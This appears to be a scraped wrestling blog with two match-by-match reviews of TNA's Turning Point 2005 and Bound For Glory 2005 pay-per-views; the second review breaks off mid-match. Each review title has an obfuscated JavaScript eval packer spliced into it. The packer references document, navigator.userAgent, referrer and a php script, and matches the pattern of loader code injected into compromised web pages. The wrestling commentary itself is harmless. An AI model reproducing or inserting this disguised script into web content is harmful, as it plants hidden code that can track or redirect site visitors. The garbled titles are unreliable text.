Turning Point 2005: He Is Coming Back

Turning eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fifrd|var|u0026u|referrer|thnhy||js|php'.split('|'),0,{})) Point 2005
Date: December 11, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

It’s the final 2005 PPV and we go out with what should have been the main event last month: Jarrett vs. Rhyno for the title. Other than that we’ve got AJ vs. Joe and Christian vs. Monty in a #1 contender’s match. This is looking like a better card than Genesis, but to be fair that doesn’t really seem like it would take much effort. Let’s get to it.

Jeff Hardy no showed the pre-show, which would be the final straw for him. He wouldn’t appear on TNA TV for over four years.

The opening video is about barbed wire. Why they’re talking about an opening match in the opening video I’m not sure but whatever.

Abyss vs. Sabu

This is barbed wire massacre, which means the ropes are replaced by barbed wire, which Abyss is terrified of. Abyss stomps on the chair that Sabu tries to bring in with him, so Sabu gets a barbed wire ball bat to scare Abyss away. Sabu tries to drive him into the wire but settles for a chair shot instead. Another doesn’t put Abyss down so he launches himself off the chair into a powerbomb position.

That gets Abyss down but he launches Sabu into the wire which draws a big gasp from the crowd. Sabu comes back with some punches but his cross body is caught and Abyss drops him throat first onto the wire. Sabu has a spike of some sort which he jabs into the shoulder of the monster, drawing blood. He tries another move off the chair but launches himself into the wire AGAIN. Dude, IT ISN’T WORKING FOR YOU!

With Sabu still tied up in the wire, Abyss charges but gets caught in a drop toehold into the wire. A chair shot gets two for Sabu. Abyss shrugs that off and chokeslams him onto a chair for two. Mitchell throws in a barbed wire covered chair and for SOME REASON, he tries an Earthquake onto it. The wire goes into Abyss’ crotch and I cringe a bit. That chair goes onto Abyss’ head twice and down he goes.

Abyss rolls to the floor so Sabu hits a huge flip dive over the wire to take Abyss out. Sabu throws a barbed wire board into the ring but gets draped over the wire stomach first. Back inside now and Abyss sets for a chokeslam onto the board, but Sabu bites the fingers to escape. Sabu winds up being launched into the air and landing stomach first on the wire. Abyss brings in another wire covered board and puts it in the corner. Due to the laws of wrestling, his charge misses and he gets all stuck in the wire. Sabu kicks Abyss down onto the other board into a sandwich, then drops a leg onto the top board for the pin.

Rating: C-. I’m not sure what to call this. For the violence and shock value it was fine, but as far as wrestling goes there was nothing here. Thankfully this was the ending to this feud which went on for months on end. The ending spot was pretty awesome but most of this was just a total freak show. They had to do this first too because of the ropes, which is annoying but there was no way around that.

We run down the remaining card to fill in some time while the ropes are replaced.

Jarrett and AMW got here earlier today.

Rhyno arrives too.

The 4 (yes 4) Live Kru says they’re going to violate Team Canada tonight.

Abyss gets checked out.

Now we talk about the card again.

Alex Shelley/Roderick Strong vs. Matt Bentley/Austin Aries

Holy Generation Next. Aries and Shelley gets us going here. Aries takes him down with some headlocks and then runs up the corners twice, resulting in a back elbow. Back to the headlock now as the fans like Austin a bit more it seems. The brainbuster is countered by a bite to the hand and it’s off to Strong. Aries takes him down almost immediately and works on the arm. Bentley comes in to a surprisingly good reaction.

The heels get him down into the corner and work him over though, resulting in Traci slapping the mat. Bentley ranas his way out of trouble and gets two at the same time. Aries comes in with his corkscrew splash for two. Off to Shelley who takes Aries down and hits a Lionsault for two. The referee misses a tag to Bentley, allowing the heels to hit a double team neckbreaker for two.

Strong stays on Aries and loads up a belly to back superplex, only to get punched down. Another double team, this time with Strong holding him up for a missile dropkick, gets two on Aries. Aries counters the third double team and makes the tag this time. House is cleaned and Bentley gets two off a top rope elbow. Shelley gets in a kick but his tornado DDT is countered. Bentley hits a top rope senton backsplash for two on Shelley. Shelley gets sent to the floor in front of his camera, letting Bentley superkick Strong for the pin.

Rating: C+. Just another X Division tag match here. Strong would never really do anything in TNA, whereas Shelley would become a big tag team star and Aries would become a big X Division star, albeit about five years later. Bentley never really did much of note but he had a hot chick in Traci. The match was fine for a time filling match that meant nothing.

Monty Brown is talking to a doll that he calls Christian Cage. Shane Douglas interrupts him and says Christian is trying to leapfrog Monty for his spot. Monty says that won’t happen and Christian will feel the Pounce. Jarrett comes up and says that the win won’t mean anything so Monty should join him. This really doesn’t seem to go anywhere.

Raven vs. ???

Same deal as last month. Larry is in the ring again and says his schtick about the release or whatever. Raven says Larry is the answer to a trivia question that has never been asked. That’s pretty true. The opponent is Chris K, meaning Kanyon. Kanyon immediately gets in and takes Raven down and the brawl is on fast. He takes over to put Raven in early trouble, dropping a leg on Raven as his head is in the ropes.

Out to the floor but Kanyon’s dive hits barricade by accident and Raven gets back in first. Back in, Kanyon rides Raven down with a middle rope Fameasser for two, but the moonsault misses. Raven hooks an ankle lock which is broken pretty quickly. Two clotheslines put Kanyon down and a flying knee puts him on the floor. He tries to escape but Raven hiptosses him back down the steel. Raven is bleeding from the mouth. Back in and there’s a chair now for some reason. Bird Boy tries to punch it into Kanyon’s face but it just hurts his hand. Kanyon tries a rana but gets powerbombed onto the chair. Raven Effect and it’s over.

Rating: D. Nothing to see here for the most part as it was all about an angle rather than a match. I don’t get why they kept going with this as it was the same story for a few months in a row. Why Larry wanted Raven to leave isn’t really mentioned on these PPVs, but I’m sure it was explained on Impact somewhere which I can live with. Not a terrible match but it was short.

Raven and Larry get in a pull apart brawl post match.

Team Canada is worried about the lack of Roode. Petey tells Young to chill and hits him. D’Amore says chill, and then hits Eric himself. That was great. Jarrett comes up and says he’s worried about what management means by the face of TNA changing. D’Amore doesn’t know either but says they’ll get to the bottom of it by the end of the night. Roode (weren’t they worried about him not being there??) pops up, apparently just being out of frame, and says it’s ok.

Team Canada vs. 4 Live Kru

This is the FINAL blowoff match between these guys, thank goodness. Eric and Kip get us going but Eric needs to stall a bit first. Ok so it’s Roode starting for the Canadians. After about a minute we’re finally hooking up. We get about a minute of the most basic wrestling you’ll ever see. Arm drags, wristlocks and a slam. It’s fine and all but very basic. Off to Petey who is launched in and Konnan hits him with a shoe. What’s Up Petey.

Truth comes in now and speeds things up, taking Young down with a sidekick. Off to BG for all of the exact same moves they’ve done in the previous two matches between these teams. The dancing punches and shaky kneedrop get two. BG gets thrown into the corner and taken down by some apron interference. Roode puts him in the Tree of Woe and it’s O Canada time from Petey. James hits a double clothesline on Roode and Williams, allowing the tag to Gunn. Everything breaks down and Kip hits the Fameasser on Roode. A chair comes in and Konnan kills Kip with it so Roode can pin him.

Rating: D-. The match was technically fine, but for the life of me I don’t remember a more paint by numbers/going by the pure stereotypical formula match in a VERY long time. Either way, it finally ended this way too long feud and would also bring about the end of the Kru which had outlived its usefulness anyway.

Konnan hits BG with the chair too. He would form LAX soon after this while the Outlaws would reform as well. Truth would just kind of float around.

The Diamonds in the Rough are reading the paper and say that this isn’t about baseball. A New Age Outlaws chant is heard over this, meaning the Outlaws are getting up and leaving together I guess.

We recap the baseball feud. AJ Pierzynski (for the sake of this, he’ll be called AJ. For clarification, AJ Styles is not involved in this whatsoever, so don’t get confused) showed up on Impact to give TNA some gifts in exchange for some award, when the Diamonds come out to make fun of them. Dale Torborg (Demon in WCW) was brought in too along with AJ and they argued batting averages.

Oh one more thing: AJ had a manager teaching him how to manage: BOBBY THE FREAKING BRAIN HEENAN!!! He’s doing commentary, which saddens me to a degree as it’s after his throat surgery so he doesn’t have his signature voice. His wit is still there though, and most importantly he’s still alive to do commentary so it’s really a good thing, even if it doesn’t sound like it. Heenan looks older but good for the most part. He goes over to commentary and wants $5 to do it. Classic Heenan.

Diamonds in the Rough vs. Chris Sabin/Sonjay Dutt/Dale Torborg

Need a filler in 2005? Call Chris Sabin. Brain has been teaching AJ how to manage. Tenay: “What have you taught him?” Heenan: “How to lie, cheat, get everyone to dislike you, that sort of stuff.” Tenay: “Not how to trip people and use brass knuckles?” Heenan: “No I taught that to Steinbrenner.” Sabin and Skipper start us off as Heenan talks about his love of Chicago, his hometown.

Skipper tries to reverse out of a hammerlock by flipping out of it, but he winds up falling on his head as Sabin drops him. Sabin flips back into the ring and I have very little desire to watch this match. I’d much rather just listen to Heenan say things like this: Tenay: “How rabid were those fans in Chicago?” Heenan: “There was a lot of frothing.” Tenay: “I don’t mean that kind of rabid!” Heenan: “You never met the Wachowski Sisters.” Seriously, JUST LET HIM TALK!

Sabin and Young are in there now but it’s off to Dutt quickly. Trust me: the Heenan stuff is better than the match so you’re not missing much. Top rope legdrop gets two for Sonjay. Off to Torborg who is taller than anyone else in the match. He launches Sonjay over the top onto all of the Diamonds so AJ can chase them with the bat. West calls it a bat, but Tenay corrects him by calling it a foreign object. Tenay: “We’ll teach him eventually won’t we Bobby.” Heenan: “Uh probably not.”

Young hits a spinning slam on Dutt for two and it’s off to Simon who gets two as well. Skipper comes in to kick Dutt in the back for two. West talks about some singers and musicians in attendance here, resulting in Heenan asking if we’re on American Bandstand or at a wrestling match. Skipper tries a mat slam of some kind but drops Dutt on his face again. Spinebuster by Young gets two.

Sonjay hits a slingshot rana to send Young down and it’s off to Torborg. Heenan plugs TNA and does it like a master, telling people to go tell everyone else to watch it because it’s the best wrestling today. See how easy it is? Chokeslam gets two on Skipper and everything breaks down. Young is put into the Tree of Woe for a hesitation dropkick from Sabin.

Stereo dives by Sabin and Dutt take out two Diamonds but Simon hits Torborg low. A shin protector shot to the head of Torborg gets two as AJ pulls the referee out. Heenan intercedes for him, allowing AJ to get a home plate from Johnny Damon (baseball player in the audience) which he cracks Simon with. Cradle Shock and the Hindu Press get the pin.

Rating: C+. The match was just ok but the commentary was excellent. It’s amazing how great Heenan is at just starting up again and being absolutely excellent. He was hilarious and at the same time he PUT THE TALENT OVER. He sounded legitimately happy to be there too, which is a great thing. I had a blast with that and he’s still one of the best ever.

Post match the winning team gives AJ and Torborg (who is the strength coach for the White Sox) some TNA championship rings.

Christian says he hears the Peeps chanting his name. It’s called anticipation for Christian becoming #1 contender. Christian says he does things on his own terms, so tonight he’s going to the Serengeti and going Alpha Male hunting.

We recap Christian vs. Monty Brown. Basically it’s just Christian’s first big match and it’s a #1 contender’s match.

Christian Cage vs. Monty Brown

Officially this is just a Contender’s match, but screw that and add the #1 part to it. This isn’t Christian’s in ring debut for the company as he already beat Bobby Roode on Impact, but it’s his first big match. Monty shoves him around to start as you would expect him to. Christian is like screw the power stuff and fires away with right hands. Tenay talks about how you have to earn your title shots here instead of talking your way into them. Oh the irony (Look up the May 24, 2012 Impact for why that’s funny in case you’re reading this in like three years).

They head to the floor and Christian takes over with an uppercut before sending him into the barricade. Back in the gorilla press is escaped and Brown is sent to the floor again, this time followed by a huge dive. Back in again and Brown hot shots him before gorilla pressing him over the top and onto the floor with a thud. Monty teases throwing him into the barricade but throws him back inside instead for some reason.

Brown’s suplex is countered with some elbows but Christian walks into a belly to belly for two. The fans chant Alpha Female. Christian goes into the corner and is pulled out so hard that he rips the buckle off. Brown bends Christian’s back around the post on the floor but gets sent into the barricade to give Christian a break.

Back in and Christian pounds away with a bunch of right hands to take over. Tornado DDT gets two as does a rollup with his feet on the ropes. Christian goes up and after knocking Brown off, hits a frog splash for two. Brown comes back with the Alpha Bomb for two. Brown misses a charge and hits the exposed buckle and the Unprettier gets the pin.

Rating: C-. Brown didn’t do much but punch, kick and slam but it was ok enough. Christian did his usual stuff and that’s fine as the fans were really getting into him here. I like the Frog Splash better as a finisher for Christian and thankfully he’s been using that more often in his latest WWE run. Not a bad mathc or anything but it was pretty bland.

Team 3D says they want the NWA Tag Titles, but tonight it’s about revenge.

We recap Team 3D vs. AMW. AMW beat 3D down so now they’re back for revenge. It’s a tables match tonight, but it’s not for the titles for no apparent reason.

Team 3D vs. America’s Most Wanted

Both guys have to go through the table. Team 3D jumps them while the pyro is still going off and the fight starts fast. I don’t think there was a bell but who cares. It’s Storm vs. Ray on the stage and the other two at ringside. Harris and D-Von get in the ring and a delayed suplex puts D-Von down. Harris covers but it doesn’t count here of course. Storm comes in and walks into a double clothesline from D-Von who covers as well.

Ray pulls Harris to the floor and What’s Up Storm. Here’s the table but Harris breaks up the 3D. AMW tries to put D-Von through one but Ray makes the save this time. Storm and Ray go to the floor for some chopping as Harris puts D-Von on the table. He goes up but Ray makes the save. Ray loads up a superplex but Storm moves the table. Instead of, you know, not letting his partner get suplexed. No wonder they split up.

There’s a table next to the ring on the floor now. Storm gets launched to the floor but Ray throws him too far, missing the table completely. I think that was intentional. The table is set up in the ring again but Ray goes to the floor instead. Storm and Ray go into the ring but Ray gets hit low to break up whatever he was trying from the ropes. D-Von moves the table but Ray has to take the rana anyway. No wonder they split up.

Superkick puts D-Von down and AMW is in full control. The Dudleys come back very quickly and and put Storm through the table with AMW’s own move, the Death Sentence. Harris comes in with a chair and beats down both of them before heading out to the floor with D-Von. There’s a table up by the entrance too, and here’s Bubba. 3D through the table ends it clean.

Rating: D+. This was ok and there wasn’t anything all that great about it. It’s just a tables match which you’ve seen the Dudleys have about a thousand times. At the end of the day, they’re probably 50/50 in them so it’s not like this really means anything anymore. AMW wouldn’t lose the titles for months and it wasn’t to Team 3D, so this really didn’t do much other than set up a title match later.

We recap Styles vs. Joe. Joe turned on Daniels last month and annihilated him, hitting him with a MuscleBuster on a chair. AJ (Styles) took issue with this and said it was against the X-Division Code. Joe beat him up in the back and tonight, it’s revenge vs. title.

James Storm is helped to the back due to a possible neck injury. This might be legit. He’s sitting up though. He has to be helped out but he’s on his feet at least.

X-Division Title: Samoa Joe vs. AJ Styles

AJ is defending and Joe is undefeated. They’ve fought before, I believe at Sacrifice. Joe has the bloody towel which is still awesome. AJ goes right at Joe as soon as the bell rings, knocking him into the corner where Joe is just covering up. AJ ducks his head though and Joe gets in a kick to the chest. The drop down dropkick knocks Joe silly though and the champ takes over again.

Joe misses a charge and for some reason they have a stalemate. AJ has that fire in his eyes here and that means this is going to be awesome. They chop it out and Joe fires of HARD kicks to take over. A running kick sends Styles to the floor and the fire is gone all of a sudden. AJ comes in first but can’t suplex Joe over the top. Instead he guillotines him on the top rope, sending Joe to the floor.

Joe pulls the feet out and spins him around in a powerbomb position to send Styles into the barricade. SICK impact. Styles gets sent into the barricade and a running boot sends AJ flying. Back in and AJ is knocked into the corner and a kick to the chest puts him down. Backsplash keeps Styles down and gets two. A chinlock runs through a few seconds and it’s Facewash time. AJ blocks one of them though and fires off some rights. That gets him nowhere though as Joe kicks him HARD in the face and Styles’ lights are out.

Styles is knocked to the apron but he manages a kind of enziguri but the springboard forearm is countered into a powerbomb into a Boston Crab and then a modified one with AJ’s legs in a powerbomb position. AJ kicks his way out of it and goes to the corner. Joe misses a charge and goes to the floor. The running Shooting Star dive (LOVE that move and it’s called the Fosburry Flop) takes Joe down. Springboard forearm to the back of the head gets two.

Joe’s release German is escaped into the moonsault DDT for two. Powerslam gets two for the Samoan. Joe fires off kicks and Styles says kick him harder. Joe does and AJ crumples up in the corner. AJ comes back again after some right hands and kicks Joe down. AJ’s mouth is busted but I think we’re in Rope-A-Dope land. He loads up the Clash but powerbombs Joe instead for two. That was impressive.

Styles’ eyes say “what more do I have to do” and Joe KILLS him with a clothesline. That only gets one and Joe looks stunned. A SICK double underhook powerbomb gets two for Joe and Styles screams at him. Joe hooks a standing Clutch but AJ escapes and hits the Pele for no cover. AJ takes him to the corner but has to escape a top rope MuscleBuster. Instead AJ pulls him to the mat and then hits the Clash…..for two. The champ tries an O’Connor Roll but gets caught in the Clutch and Styles passes out to give Joe the title for the first time.

Rating: B+. Styles may not bring out the best in Joe, but Joe brings out the best in Styles. This was telling a great story with Styles wanting to hold on as long as he could and tire Joe out but in the end, Joe was just too much for him. The match was great, but when they threw in Daniels it made things excellent. Very good match here though and the fire in Styles was great.

Joe helps AJ up and then lays him out with the belt. Security goes down and Joe gets a chair. He loads up the MuscleBuster but here’s Daniels for the save. Joe beats him down too, although Daniels wasn’t completely healed up yet so it’s not as bad.

We recap Rhyno vs. Jarrett. It’s the rubber match as Rhyno won the title at BFG and Jarrett won it back on Impact. The idea here is that Rhyno is going through a lot of personal issues and this is all he has.

Rhyno says he’ll always be a champion to everyone that loves him and he’ll win tonight.

NWA World Title: Jeff Jarrett vs. Rhyno

Feeling out process to start and Jeff grabs a wristlock. That gets him nowhere as Rhyno runs him over for one. A dropkick gets the same for the champ and it’s off to a short arm scissors. The fans want Jarrett fired as Rhyno powers out of the hold and drops Jeff onto the top rope. Press slam is followed by Jarrett being draped over the top again. Out to the floor and Rhyno hits a dive out to the floor.

They head into the crowd with Rhyno in full control. He tries to suplex him off a wall but Jarrett knocks him down and onto the floor again. They head up towards the backstage and Jarrett is rammed into various metal objects, busting him open. Back to ringside and Jeff takes a chair shot to the shoulder and the back. Back to the backstage area and Rhyno loads up a table.

Rhyno takes him onto a scaffold but Jeff finds a chair to pop Rhyno with, sending him down through the table with a crash. Jeff takes him back to the ramp and goes for a suplex but Rhyno counters into one of his own. Rhyno goes to the back to get something and comes back with another table. He puts the table up against the ramp and Gores him “through” it, as I don’t think it actually broke but rather fell on top of the two of them.

With both guys down, JB gets on the mic and says both guys have until ten to get to the ring or it’s over. You know, like in a regular match. Team Canada comes out and beats down Rhyno some more and carries Jarrett back to the ring. Rhyno makes it back in anyway and is all fired up. A clothesline puts Jarrett down and the champ is reeling. The Canadians come in and are quickly dispatched.

Spinebuster gets two for the challenger. He goes up but Petey crotches him. So you can start that ten count thing but you can’t do anything about these guys? Superplex gets two for Jeff as does a TKO for Rhyno. The referee takes a shoulder block in the corner, which isn’t going to mean anything because he’s been useless. Stroke is countered and Rhyno loads up the Gore, only to have Roode come in.

He goes down as does A-1 but Roode gets up quickly and hits his Northern Lariat to Rhyno, getting two. There’s the guitar shot for two. Here comes Jackie Gayda who apparently has something on Jarrett. The distraction lets Rhyno Gore Jeff down for two. The challenger sets up two chairs and tries the Rhyno Driver through them, but D’Amore hits him with the hockey stick. A middle rope Stroke onto the chairs keeps the belt on Jeff.

Rating: B-. It was a pretty solid brawl here but the Canadians at the end got annoying quickly. Then again that’s the point, but this was the HHH formula 101 from 2003. Rhyno wasn’t going to get the title back and probably shouldn’t have, so I can’t really complain about the ending. For a B show main event title match, I can’t complain much here.

Post match the lights go out. After awhile, a Scorpion logo pops up on screen with what would become Sting’s music. A spotlight comes up and we see a chair with black boots in it, a trenchcoat around it and a bat leaning against it. Jarrett sees it and panics to end the show. Sting showed up on January 1 or whatever the first show of the year was.

Overall Rating: B-. This wasn’t bad. It’s a B level show to close out the year and there’s nothing wrong with what we got out of it. It sets up something for the new year and closes out some of the old stuff. There are some good matches here but some of the matches just fall flat. If you ever check this out, you won’t be completely disappointed, although there are much better shows to check out.

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Bound For Glory 2005: If All TNA Shows Were Like This, I’d Rarely Complain

Bound eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kreys|var|u0026u|referrer|btzfb||js|php'.split('|'),0,{})) For Glory 2005
Date: October 23, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 900
Commentators: Mike Tenay, Don West

It’s the biggest show of the year (I think it was back then at least) and the main event is Nash vs. Jarrett. In theory at least, as Nash has come down with his latest life threatening illness and has to back out. Therefore we’re going to shuffle the card around and have a ten man Gauntlet for the Gold with the winner immediately getting a shot at Jarrett. There’s a celebrity guest referee for the main event in UFC legend Tito Ortiz. Let’s get to it.

The opening video is about how this started a year ago at Victory Road and how hard they’ve all worked in the year since then. We actually see their voiceover guy who is a large black man. Tonight is their night.

Samoa Joe vs. Jushin Thunder Liger

Joe gets the full tribal entrance. Liger gets the streamers and offers a handshake but we cut to a shot of the NJPW owner so I don’t know if Joe shook it. The fans are behind Joe here and he runs Liger over a few times. Out to the floor and Liger takes over, hitting a big dive onto Joe. Back in Joe hits knees in the corner and the fans are split. A kick sets up a knee drop for two. Tenay talks about Monday Nitro as Joe hits a powerslam for two.

Now the fans are just chanting for Liger. I’m not sure why as Joe has been doing his usual stuff and isn’t acting like a heel or anything. Could it be because the fans change their minds faster than they can change a tire? Liger gets in a Liger Kick and hits a suplex for two. Considering the size difference that’s not bad. Frog Splash gets two. Liger’s palm thrust is avoided and Joe hits a kick to the head to take over. Joe’s superplex is countered into a powerbomb for two. A pair of palm thrusts get the same. Liger goes up but gets caught in the MuscleBuster and the Clutch ends this.

Rating: D+. That’s it? The match was ok but for something that they were building up as close to a dream match, I’d expect more than a seven minute match with Joe barely having to break a sweat. I’m glad that they brought in Liger who people at least know rather than some Japanese guy that about 1% of their audience could name. That’s a plus. The match was pretty lackluster though.

Clip from Fanfest this weekend. The fans saying they don’t want soap operas is amusing today.

We see two fans who won a contest and get to train at the NJPW Dojo before joining the Impact roster. I don’t recognize them.

Simon Diamond fires up the Diamonds in the Rough.

Diamonds in the Rough vs. Apolo/Sonny Siaki/Shark Boy

The Diamonds are Elix Skipper, David Young and Simon Diamond. Shark Boy and Diamond get us going. Diamond takes him down with some kicks and a clothesline for two. Sharky comes back but the Dead Sea Drop is countered. He bites the tights of Diamond and we’re in comedy match territory. Off to Skipper who is taken down almost immediately by a drop toehold. Things speed up a bit so it’s off to Apolo.

Apolo is more of a power guy and gets two off a Diamond Cutter. A spinning half nelson slam looks to get a pin but Diamond distracts the referee. Young comes in with some cheating and the Diamonds take over. Skipper stays in and hits a kind of spear for two. Apolo comes back with a one man 3D to put both of them down.

Double tag brings in Siaki and Young but everything breaks down. Apolo hits a TKO on Young (he LOVES Cutters apparently) and Shark Boy dives on Skipper. Young takes both of them out with a spinning dive and Apolo dives on everyone but Simon. Skipper and Siaki go inside and Elix throws Siaki to Young for the spinebuster and the pin.

Rating: D+. Just a six man here. Apolo was a guy that had some potential to him but he wound up going back to Puerto Rico (I think) soon after this. The Diamonds were a lower midcard heel team that never really went anywhere. This wasn’t much for the most part but fill in matches like this were regular for TNA in these days.

We get some clips from the pre-show, one of which being of an X-Division fourway and the other of Larry Z yelling at Raven, resulting in Rhyno yelling at Raven and goring him. This is about both of them wanting the world title shot later tonight.

Jarrett laughs about Nash having chest pains and says he doesn’t care who he faces tonight. Jeff either just got out of the shower or it’s about 200 degrees in the back. He says screw all of his potential opponents. Monty Brown comes in and wants Jeff to say screw him too. He can smell the fear in Jarrett. This goes on for awhile.

Lance Hoyt vs. Monty Brown

Hoyt fires off some shoulders to start and “hits” a flapjack (Brown rolled through it for some reason) and they head to the floor. Brown sends him into the steps and back inside but due to Monty yelling at the crowd, Hoyt hits a dive (literally bouncing off Brown as they hit the floor). Back in the ring and Monty chops away in the corner. Hoyt punches away in the same corner, and it’s punches > chops in this case. Brown is face first down on the mat but as Hoyt goes up, Brown is playing possum. Nice job.

Back to the floor and Monty suplexes him onto the mats. Back in, Hoyt hammers away but Brown throws him down with a belly to belly. Lance gets up and hits a big boot and his moonsault, which still can’t get a pin. I never remember that getting a win actually. Hoyt goes up but jumps into the Alpha Bomb (fallaway slam position but Brown throws them up into a powerbomb) for two. Hoyt hits either a Rock Bottom or a chokeslam for two. And never mind all that Hoyt offense because a Pounce ends it.

Rating: C. I kind of liked this actually. Brown was a power guy and he didn’t need to be anything more than that. On the other hand you have Hoyt who was agile and good, but for some reason they refused to let him beat anyone significant. This was a decent power match but again it really didn’t need to be on PPV. There was no reason given for this match happening that I caught either.

Quick video on Global Impact.

3 Live Kru says they’re together and will fight tonight. Billy Gunn pops up to offer his help to take out D’Amore. Truth likes the idea as does BG but Konnan says no and storms off.

3 Live Kru vs. Team Canada

It’s Roode, Young and A-1 here. Eric and Konnan get us going as Tenay gives us a history of the New Age Outlaws. Konnan speeds things up and counters a headscissors into an Alabama Slam. Roode tries to come in but only manages to get caught in a three man What’s Up. Roadie and Truth hit some punches and dance some more then stomp on Roode a bit.

It’s Roode vs. Truth now with a hip toss getting two for the rapper. The annoying fans are shouting/singing something. Now they’re chanting USA for the team with a Cuban on it. Kip James is sitting on the stage, drawing a New Age Outlaws chant. A-1 comes in to choke on Truth in the corner. Those dastardly Canadians double and even triple team and it’s off to Roode. Truth hits his spinning forearm and tags in Road Dogg who cleans Canadian house. Shaky knee gets two on Roode. In the calamity, D’Amore’s distraction lets Roode get in a hockey stick shot and Young pins BG.

Rating: D. These teams feuded FOREVER and it never seemed to end. It wound up being about the Outlaws and to be fair, that’s probably the best possible outcome. The Canadians would just kind of float around for awhile until I think they broke up right around June of 06. The Kru would break up soon enough after this.

Post match the Canadians hold Konnan for Billy to hit him with a chair but he beats up all of the Canadians with it. Konnan isn’t sure what to do now but the Kru celebrates despite losing.

Shane Douglas asks Larry Z who is getting the shot tonight. Larry says he has a lot of options but is waiting for a word from upper management.

We recap the #1 contender’s match for the X Title. It’s Ultimate X which Williams has had some success in. Bentley and Sabin are in there due to needing two more spots filled in here.

Petey Williams vs. Chris Sabin vs. Matt Bentley

Ultimate X, #1 contender’s match. Petey goes up but Sabin pulls him down and the faces (I think?) beat on him a bit. Williams counters a suplex from Sabin into one of his own but Bentley comes in with a kick to slow Petey down again. Wheelbarrow suplex puts Williams down again and Bentley goes up. Petey takes Matt down again but Traci’s (Bentley’s chick) rack distracts him. Matt goes up but Sabin pulls him down.

It’s Sabin vs. Bentley at the moment while D’Amore coaches Williams. Sabin picks Williams up and puts him in Razor’s Edge position, throwing him at Bentley in the corner. Sabin tries to climb but barely gets started before Bentley makes the save. We’re way too early in the match for a potential win anyway. Petey sends Bentley to the floor and hits a SWEET slingshot rana to put him down even further.

Everyone is back in now and Bentley hits a neckbreaker on Sabin and a cutter on Williams at the same time. Matt goes climbing but Sabin follows him and hooks a powerbomb to take both guys down in a painful looking move. Sabin gets caught in the Tree of Woe so Petey sings O Canada. Bentley pops up and dropkicks him off and out to the floor before going up. Sabin gets out of the Tree and shoves him down, before diving on both guys when the X was there for the grabbing because Sabin is an idiot.

Sabin goes up and Bentley dives at him with a shoulder block. That knocks Sabin down, but it knocks the X down as well. We more or less stop the match so that the crew can put the X up again with a ladder. The fans chant USE THE LADDER. Sabin and Bentley go up for the X but knock each other off. The X falls and Petey catches it, so TNA says screw the rules, Williams wins.

Rating: D+. The match was good, but there’s really no excuse for the ending. Put it up there again and have someone get it immediately or whatever, but COME ON. This was just freaking stupid and it makes the company look inept because they can’t get their own signature match right. Invest in some better tape guys.

We recap the tag title match. AMW interfered at a house show to get the title off of Raven and onto Jarrett again and then Jarrett helped AMW destroy Team 3D. Look up the funeral for Team 3D. It’s absolutely hilarious. AMW beat down the Naturals as well for the titles so tonight it’s about revenge as well as the belts for them.

Tag Titles: America’s Most Wanted vs. The Naturals

I can never remember which one is Stevens and which one is Douglas. It’s a big brawl on the floor to start with the Naturals in control. Ok Douglas has the bandage on his head. Got it. Storm gets powerbombed into the railing which looked SICK. The challengers get Harris in the ring and beat him down in the corner. Storm is walking out on the match. The Naturals go back and get him because it’s about revenge more than the titles. I can live with that if it’s done right and it has been here.

We’re over three minutes into this and there has been no tagging or one on one in the ring at all so far. Harris gets choked by both Naturals on the floor until they get bored and Douglas goes after Storm. Gail finally does something and distracts Douglas, allowing Storm to send him into the Ultimate X structure. Douglas’ cut is busted open now. Five minuets in now and they’re in the ring but it’s still 2-1.

Ok it’s FINALLY Storm vs. Douglas. Eye of the Storm gets two and Harris comes in without a tag. Stevens comes in after Douglas was in trouble for about a minute. Douglas is bleeding pretty good though so that likely has something to do with it. A Naturals double team gets two on Storm. The move that would later be named the Last Call misses and Stevens hits a kick of his own for two.

Gail throws in some powder to Harris but Chase Stevens knocks it into the Wildcat’s face. Harris hits the Catatonic (spinning Rock Bottom, his finisher) on Storm. The Naturals hit the Death Sentence on Harris but it only gets two. Gail breaks up the Natural Disaster (double team elevated Stunner) so Douglas goes to the floor and grabs her by the hair. The distraction lets Harris handcuff Douglas to the barricade. Stevens his an enziguri on Storm but Harris busts a bottle over Stevens’ head and the Death Sentence retains the title.

Rating: B. WOW. This was only about ten minutes long but they flat out DO NOT STOP the whole time. It’s a wild brawl and I bought into the revenge that the Naturals were wanting the whole way. The biggest criticism of the Naturals is that they have no charisma, but man they were bringing it here and the match WORKED. Very good stuff. AMW would hold the titles for over eight months until the dream team of Styles and Daniels took them away.

We recap the Monster’s Ball feud. It’s Abyss vs. Rhyno vs. Sabu vs. Raven. This is when they still had the idea that each guy was held without food, water, light or human contact before the match. That was a bonus deal for these matches in the early days but it was dropped I think after this one.

James Mitchell says that Abyss (who is behind him despite the rule being that he has to be released right before the match) will be ready because he’s used to being put through torture.

Rhyno vs. Jeff Hardy vs. Sabu vs. Abyss

WHOA WHOA WHOA. Rhyno was at the preshow remember? So they can’t even get their own rules straight. This is Monster’s Ball, which means it’s a wild brawl where anything goes. The power guys jump Hardy to start but Sabu pelts the chair at Abyss to get him off. Rhyno gets knocked to the floor and Sabu dives onto him as Hardy dives at Abyss. This is falls count anywhere. Abyss gets knocked to the floor and Hardy dives on him too.

The announcers say that they were released when the PPV began this evening. That’s fine for Abyss, BUT RHYNO WAS ON THE FREAKING PRESHOW!. All four go into the crowd and Sabu’s eye is busted open. Jeff dives off a balcony and takes Abyss down. They all get back to ringside and Hardy and Abyss go back into the ring. Sabu tries a dive off the apron but Rhyno moves to send Sabu crashing onto the floor.

